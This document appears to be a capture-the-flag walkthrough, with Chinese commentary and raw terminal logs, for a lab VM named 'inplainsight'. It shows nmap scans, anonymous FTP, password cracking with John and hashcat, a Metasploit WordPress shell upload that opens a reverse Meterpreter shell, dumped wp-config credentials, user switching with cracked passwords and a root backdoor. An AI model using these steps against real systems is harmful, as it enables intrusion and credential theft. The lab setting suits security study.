root@kali:~# nmap -sn -v 192.168.56.0/24 Nmap scan report for 192.168.56.108 Host is up (0.00027s latency). MAC Address: 08:00:27:48:A5:6E (Oracle VirtualBox virtual NIC)
1 2 3 4 5
root@kali:~# nmap -p- -v -sV -Pn 192.168.56.108 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
root@kali:~# ftp 192.168.56.108 Connected to 192.168.56.108. 220 IPS Corp Name (192.168.56.108:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 306 Nov 22 13:42 todo.txt 226 Directory send OK. ftp> cat todo.txt ?Invalid command ftp> get todo.txt local: todo.txt remote: todo.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for todo.txt (306 bytes). 226 Transfer complete. 306 bytes received in 0.02 secs (14.9999 kB/s) ftp> quit 221 Goodbye.
1 2 3 4 5 6 7 8
root@kali:~# cat todo.txt mike - please get ride of that worthless wordpress instance! it's a security ris k. if you have privilege issues, please ask joe for assitance. joe - stop leaving backdoors on the system or your access will be removed! y our rabiit holes aren't enough for these elite cyber hacking types.
root@kali:~# john pass Warning: detected hashtype"Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt" Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead Warning: detected hashtype"Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin" Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead Warning: detected hashtype"Raw-SHA1", but the string is also recognized as "ripemd-160" Use the "--format=ripemd-160" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) Warning: no OpenMP support for this hashtype, consider --fork=4 Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist goodluck (?) 1g 0:00:00:00 DONE 2/3 (2020-01-12 20:31) 20.00g/s 3680p/s 3680c/s 3680C/s emily..iceman Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably Session completed
Metasploit Park, System Security Interface Version 4.0.5, Alpha E Ready... > access security access: PERMISSION DENIED. > access security grid access: PERMISSION DENIED. > access main security grid access: PERMISSION DENIED....and... YOU DIDN'T SAY THE MAGIC WORD! YOU DIDN'T SAY THE MAGIC WORD! YOU DIDN'T SAY THE MAGIC WORD! YOU DIDN'T SAY THE MAGIC WORD! YOU DIDN'T SAY THE MAGIC WORD! YOU DIDN'T SAY THE MAGIC WORD! YOU DIDN'T SAY THE MAGIC WORD! =[ metasploit v5.0.68-dev ] + -- --=[ 1957 exploits - 1093 auxiliary - 336 post ] + -- --=[ 562 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] msf5 > use exploit/unix/webapp/wp_admin_shell_upload msf5 exploit(unix/webapp/wp_admin_shell_upload) > set Pa set PaSSWORD set PaYLOAD msf5 exploit(unix/webapp/wp_admin_shell_upload) > set PA set PASSWORD set PAYLOAD msf5 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin1 PASSWORD => admin1 msf5 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin USERNAME => admin msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 192.168.56.108 rhost => 192.168.56.108 msf5 exploit(unix/webapp/wp_admin_shell_upload) > set TARGET set TARGET set TARGETURI msf5 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /so-dev-wordpress TARGETURI => /so-dev-wordpress msf5 exploit(unix/webapp/wp_admin_shell_upload) > exploit [*] Started reverse TCP handler on 192.168.56.102:4444 [*] Authenticating with WordPress using admin:admin1... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /so-dev-wordpress/wp-content/plugins/RnhGIdzuxq/oElblRDrKY.php... [*] Sending stage (38288 bytes) to 192.168.56.108 [*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.108:60668) at 2020-01-12 22:03:59 -0500 [+] Deleted oElblRDrKY.php [+] Deleted RnhGIdzuxq.php [+] Deleted ../RnhGIdzuxq meterpreter > id [-] Unknown command: id. meterpreter > sysinfo Computer : inplainsight OS : Linux inplainsight 5.3.0-23-generic #25-Ubuntu SMP Tue Nov 12 09:22:33 UTC 2019 x86_64 Meterpreter : php/linux
成功使用msf拿到了shell，获得标准输出的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
meterpreter > shell Process 1396 created. Channel 0 created. sh: 0: getcwd() failed: No such file or directory sh: 0: getcwd() failed: No such file or directory id uid=33(www-data) gid=33(www-data) groups=33(www-data) python3 -c 'import pty;pty.spawn("/bin/sh")' sh: 0: getcwd() failed: No such file or directory $ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami whoami www-data
$ cd .. cd .. $ ls ls akismet hello.php index.php $ pwd pwd /var/www/html/so-dev-wordpress/wp-content/plugins $
$ cd ../.. cd ../.. $ ls ls index.php wp-blog-header.php wp-cron.php wp-mail.php license.txt wp-comments-post.php wp-includes wp-settings.php readme.html wp-config-sample.php wp-links-opml.php wp-signup.php wp-activate.php wp-config.php wp-load.php wp-trackback.php wp-admin wp-content wp-login.php xmlrpc.php $ pwd pwd /var/www/html/so-dev-wordpress $ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'sodevwp' ); /** MySQL database username */ define( 'DB_USER', 'sodevwp' ); /** MySQL database password */ define( 'DB_PASSWORD', 'oZ2R3c2x7dLL6#hJ' );
/** MySQL hostname */ define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'b_P>20/J+HW!D1-[XI1~~abSjE~8do)Rp]jt/~Q0s-6/!U,Norv{.+1xOh5+gnPr' ); define( 'SECURE_AUTH_KEY', 'nbfna5q3cP5/Gfaa`H`4{SklZTx+inPmf*uh!boz=K`bUSldsl?m`-{0FZ9Kdw4$' ); define( 'LOGGED_IN_KEY', 'UC8f4{^Z[9co/>[n*opw @Dtss(?~[dBQ/Xtbm8&/rx1{=Y^obQY`DE7ZYmHwSQT' ); define( 'NONCE_KEY', 'Z)O2rZ_IT6fNshPKa^RB:2?EU%a|tV91z,mWU$rfsoFnbUVKp4l;+z lrN4~T(9h' ); define( 'AUTH_SALT', ']C-xQeq^*m$$yt:oLqg>b?+teMLO7~<#|j@(n/K~L!4 n{UCp%|$;;[_@6u]PHxT' ); define( 'SECURE_AUTH_SALT', '(rtGT9%Jv uX95E&!tdiTZ7X19u:ak_B_L@YOeRq6eLf.bWV{7|0Kn2JjOmk~[~l' ); define( 'LOGGED_IN_SALT', '1cC3onJs2/0; 5R91DS]m>i|-P1<SaQqUN3Lg`u|4{]aH826Fnt*,[RY?{y0JGeG' ); define( 'NONCE_SALT', '6a?qf^w0Q1D{%!Y_HIO&#Kc-p19/p8~#*Zo~6NHyZqSgL7ws6=Vdg|*Hijk<7T4{' );
/**#@-*/
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'sodevwp_';
/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', dirname( __FILE__ ) . '/' ); } /** Sets up WordPress vars and included files. */ require_once( ABSPATH . 'wp-settings.php' );
现在有了数据库用户名和密码：
1 2 3 4 5 6 7 8
/** The name of the database for WordPress */ define( 'DB_NAME', 'sodevwp' );
/** MySQL database username */ define( 'DB_USER', 'sodevwp' );
/** MySQL database password */ define( 'DB_PASSWORD', 'oZ2R3c2x7dLL6#hJ' );
www-data@inplainsight:/var/www/html/so-dev-wordpress$ mysql -usodevwp -poZ2R3c2x7dLL6#hJ <o-dev-wordpress$ mysql -usodevwp -poZ2R3c2x7dLL6#hJ Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 9805 Server version: 10.3.20-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use sodevwp; use sodevwp; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 400 password.txt D:/wordlists/rockyou.txt hashcat (v5.1.0) starting...
* Device #1: Intel's OpenCL runtime (GPU only) is currently broken. We are waiting for updated OpenCL drivers from Intel. You can use --force to override, but do not report related errors. * Device #3: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch nvmlInit(): Unknown Error
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Started: Mon Jan 13 11:20:09 2020 Stopped: Mon Jan 13 11:20:15 2020
得到两个密码： admin/admin1 mike/skuxdelux
现在，将用户切换为Mike，可以如下观察到可以成功完成操作,这意味着破解密码成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
www-data@inplainsight:/var/www/html/so-dev-wordpress$ su admin su admin su: user admin does not exist www-data@inplainsight:/var/www/html/so-dev-wordpress$
www-data@inplainsight:/var/www/html/so-dev-wordpress$ su mike su mike Password: skuxdelux
mike@inplainsight:/var/www/html/so-dev-wordpress$ id id uid=1000(mike) gid=1000(mike) groups=1000(mike) mike@inplainsight:/var/www/html/so-dev-wordpress$ whoami whoami mike
mike@inplainsight:/etc$ su joe su joe Password: SmashMouthNoThanks
joe@inplainsight:/etc$ id id uid=1001(joe) gid=1001(joe) groups=1001(joe) joe@inplainsight:/etc$ whoami whoami joe joe@inplainsight:/$ cd /home cd /home joe@inplainsight:/home$ ls ls joe mike joe@inplainsight:/home$ cd joe cd joe joe@inplainsight:~$ ls ls journal joe@inplainsight:~$ cat journal cat journal glad i added that root backdoor before boss person removed my privileges :)
joe@inplainsight:~$ bwrap bwrap root@inplainsight:~# id id uid=0(root) gid=0(root) groups=0(root),1001(joe) root@inplainsight:~# whoami whoami root root@inplainsight:~# cd /root cd /root root@inplainsight:/root# ls ls flag.txt root@inplainsight:/root# cat flag.txt cat flag.txt
